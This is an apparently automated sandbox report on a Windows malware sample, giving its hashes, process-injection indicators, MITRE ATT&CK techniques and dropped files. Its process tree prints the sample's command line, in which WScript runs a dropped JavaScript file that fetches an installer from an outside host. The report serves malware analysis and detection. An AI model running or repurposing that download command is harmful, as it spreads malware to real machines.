fe4ef8803676db0c1d397b338b78a0ec5cb7718159043d11201cdf994232b34c

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
02/06/2024, 23:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe
Size 184KB
Sample240602-22w2xabe39
SHA256 fe4ef8803676db0c1d397b338b78a0ec5cb7718159043d11201cdf994232b34c
MD5 8fbf524cfb433c6f564366c0224f4c1e
SHA1 c43043f7f2e80ca2fb80f2206cb20a9db7206abe
SHA512 17197b4fd57f2089e951de85339b5805a107368616b8ba286321e8da89cc957afa5e0ae61547a1ba9125857569e4b01c808a9d8788f4419f9e8ea8a53e0577f5
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3z:/7BSH8zUB+nGESaaRvoB7FJNndne
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	1744	WScript.exe
8	1744	WScript.exe
10	1744	WScript.exe
12	2764	WScript.exe
13	2764	WScript.exe
15	2852	WScript.exe
16	2852	WScript.exe
18	2168	WScript.exe
19	2168	WScript.exe
21	1720	WScript.exe
22	1720	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2592 wrote to memory of 1744	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	28
PID 2592 wrote to memory of 1744	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	28
PID 2592 wrote to memory of 1744	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	28
PID 2592 wrote to memory of 1744	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	28
PID 2592 wrote to memory of 2764	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	30
PID 2592 wrote to memory of 2764	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	30
PID 2592 wrote to memory of 2764	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	30
PID 2592 wrote to memory of 2764	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	30
PID 2592 wrote to memory of 2852	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	32
PID 2592 wrote to memory of 2852	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	32
PID 2592 wrote to memory of 2852	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	32
PID 2592 wrote to memory of 2852	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	32
PID 2592 wrote to memory of 2168	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	34
PID 2592 wrote to memory of 2168	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	34
PID 2592 wrote to memory of 2168	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	34
PID 2592 wrote to memory of 2168	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	34
PID 2592 wrote to memory of 1720	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	36
PID 2592 wrote to memory of 1720	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	36
PID 2592 wrote to memory of 1720	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	36
PID 2592 wrote to memory of 1720	2592	8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8fbf524cfb433c6f564366c0224f4c1e_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1E1B.js" http://www.djapp.info/?domain=FrgVDTkwLc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1E1B.exe
  2⤵
  - Blocklisted process makes network request
  PID:1744
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1E1B.js" http://www.djapp.info/?domain=FrgVDTkwLc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1E1B.exe
  2⤵
  - Blocklisted process makes network request
  PID:2764
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1E1B.js" http://www.djapp.info/?domain=FrgVDTkwLc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1E1B.exe
  2⤵
  - Blocklisted process makes network request
  PID:2852
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1E1B.js" http://www.djapp.info/?domain=FrgVDTkwLc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1E1B.exe
  2⤵
  - Blocklisted process makes network request
  PID:2168
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1E1B.js" http://www.djapp.info/?domain=FrgVDTkwLc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1E1B.exe
  2⤵
  - Blocklisted process makes network request
  PID:1720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Size 1KB
SHA256 057d3ab57e61cf3b84e64d0ed324b5ab2a29b4ad2e81a107a17bb24222474e1f
MD5 0fe896c1fe25eb524a8b49a572503f14
SHA1 244f5ac2e4e56bd4a924814ce4ac3ae4f900f94c
SHA512 718286f53e834eaf6ba5f844980aa1695f8477262d49dee7279241c466dc118328f1e5979ffc09e76fb52a81a0d5cf1f8a96020f6ecf861c057ef0d487f366f0
MD5 SHA1 SHA512

Submit Download

CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Size 724B
SHA256 58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5
MD5 8202a1cd02e7d69597995cabbe881a12
SHA1 8858d9d934b7aa9330ee73de6c476acf19929ff6
SHA512 97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9
MD5 SHA1 SHA512

Submit Download

24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Size 410B
SHA256 67687f598da1bde8e6464ef0440b9033897e17f2b1969feec816a631993aaa06
MD5 9ae961c9ff15a2d7d75407fc86b6b53d
SHA1 bec8c611e99f6ccefa8285b0022154d707580a51
SHA512 b113d9ebf7f11de9b8bda536ab95b6818a32306833a7cf3eb73663e6aae61a4c252409483308a952c03a11240ffc8bad2054b4ee4cac9b5b461dd30ff9b665c6
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 344B
SHA256 f4e4811f89663d30070f3b2a743a7ed68602058f963695d3a5c7d8501d0a0166
MD5 a1bdd0e3fa0753d1bdf86170f48afae5
SHA1 f31e4e1b614a23651ecc35dab769eb74024cd99b
SHA512 3d20cd536b51b431e7954e0ff5c8ec825a90f0fefb5688a75483c431c13846863abfc05ad981c58b59f6ac4b89c354b791b5b846ada3a7a6e56b0754b7f6c055
MD5 SHA1 SHA512

Submit Download

CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Size 392B
SHA256 1bbbc3a032b50dcbbb8e99e3e2aa88225293728adf8f4666e6062630910cb76b
MD5 7cf4e22d991e6735566f2ed7d7457da0
SHA1 9bb874f174e6ad3385e76df623a466558cada947
SHA512 8fb1512ecb9d2c2a1a190768037d32f9a21d0ba0b0044ed725c5c56c6c2666786bfe521655f79819d1d3f8e76308b1f00346d9ecf3f87fa7b86b84f255d034e6
MD5 SHA1 SHA512

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MNCIS1YI\domain_profile[1].htm
Size 40KB
SHA256 70809c4c64e05a933a1c71626cffb4558d7d4ee8de3c5002da47eb363f7481d4
MD5 52a83b7ab3d4403f9fe18db0d81eb485
SHA1 73da659917f1163944ee44c0ceb2979c59d3a815
SHA512 8b3f0abd1f6222c53567c32d32b7f3e2dfd98429ad51b1fbe46c9219aeef64ed07b859feade10d33ab4c2e262c2a14ffce393104394f6ceb8ba97628dbb1ea1e
SSDEEP 768:p6FYdeYy4jJI4Yq7tgn6qaY9VNsh/9gaRRvbv38nf237ZFZNYvcQNyVOlf6ShBvf:IYdeYy4jahj6qrreh/9gibkf237ZFZNK
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MNCIS1YI\domain_profile[1].htm
Size 40KB
SHA256 2020aa2c0b2fa2cb0be90343b5d557a5e1a2ea34d1016e7e663a2b0efbc63b6d
MD5 2ada912b657d8d254f004d5d828d9592
SHA1 a03768a13bb87f9d35ab372e22c14c0021216ee5
SHA512 87630ee32b0afbd7fb29b77f2579b3d1099cf0c78b1583ae1365349ba34524dc93100397c9e28c5c701282fbf9af4ab7c00ce934748a316a33964831d91607f7
SSDEEP 768:p6FYdeYy4jJI4Yq7tgn6qaY9VNsh/9gaRRvbv38nf237ZFZNYvcQNyVOlf6ShBvt:IYdeYy4jahj6qrreh/9gibkf237ZFZNA
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\TTL9DZJ3\domain_profile[1].htm
Size 40KB
SHA256 d922bb15996f347d514cd37a2149aafb93670852ba47f047f234042bbe2353f1
MD5 80b61165db6f8a48e2c1cd83eefb011d
SHA1 b529fa8caad2e88b2995ae82a2343bf61889a264
SHA512 cd9aa69f3eeb16d58949e8f1c8255bd541b4ed0f3173018a849e244df8fe4daad1bc9038856a69439f1b819ba6cd5cfdb536f02d1fb44621f2c3f5179bcc479e
SSDEEP 768:p6FYdeYy4jJI4Yq7tgn6qaY9VNsh/9gaRRvbv38nf237ZFZNYvcQNyVOlf6ShBvu:IYdeYy4jahj6qrreh/9gibkf237ZFZN3
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\TTL9DZJ3\domain_profile[1].htm
Size 40KB
SHA256 befb56d232ed38c8512477f2ac3915cb1ee64015d893e752bca0d64528e5d8b0
MD5 a469bffefc7e599e4887fd2e4030e358
SHA1 bff1da0c1d5aefbf5a39017697b985d0983538c2
SHA512 530f2e80083ebeeb0944bd4532617427e5b15bd8fb61e27819297448b39d0eb7c987ebceb1e489c889e89078a9d01c7149dbbfdd206f36212b19cc0fba04a271
SSDEEP 768:p6FYdeYy4jJI4Yq7tgn6qaY9VNsh/9gaRRvbv38nf237ZFZNYvcQNyVOlf6ShBvF:IYdeYy4jahj6qrreh/9gibkf237ZFZNg
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\TTL9DZJ3\domain_profile[1].htm
Size 40KB
SHA256 c54e5f46f11c011abf6274471077bb33e4ab5f0e04fed6a6bdf62039d933a707
MD5 e59b9f9e4f172074561e2d4437256c61
SHA1 e45a502c3ef171761f68d58398dc9b4077a7c37e
SHA512 438f43499e3f2439b4a37d6a33f52e9e4f7169970a21460bcd031f32ac916e80e345b4c61d36c794384431225cc998e8091e45d59728ebb0d7f53e6fac0f66ac
SSDEEP 768:p6FYdeYy4jJI4Yq7tgn6qaY9VNsh/9gaRRvbv38nf237ZFZNYvcQNyVOlf6ShBvW:IYdeYy4jahj6qrreh/9gibkf237ZFZND
MD5 SHA1 SHA512 SSDEEP

Submit Download

Cab4E01.tmp

Path C:\Users\Admin\AppData\Local\Temp\Cab4E01.tmp
Size 68KB
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
SSDEEP 1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tar6588.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tar6588.tmp
Size 177KB
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
SSDEEP 1536:fAo/J+lCUsTRvsqgCyqWlUDNWdm1wpSru2A0XwjY/z02DTr3rmt6mJ:f/J+qTR0XCy/dmASru2Aijbdq
MD5 SHA1 SHA512 SSDEEP

Submit Download

fuf1E1B.js

Path C:\Users\Admin\AppData\Local\Temp\fuf1E1B.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

Submit Download

XA0VK3L5.txt

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\XA0VK3L5.txt
Size 177B
SHA256 38543074526009529e7951c62382a7f5b82709343797bcf41cf961954906009f
MD5 2d10447c9f11a8e87aa8f718f6c19500
SHA1 ad58a9698ab30144a181adba9ebb78dc1b997342
SHA512 08cc03836d729b7f2440608e1f4309aad639cce78feb084e6c5e23e3b2a67f9a71abbbdd11069389b82d2f4e420ff5b3d88d2bf0a625119ced7a13ec73976a49
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads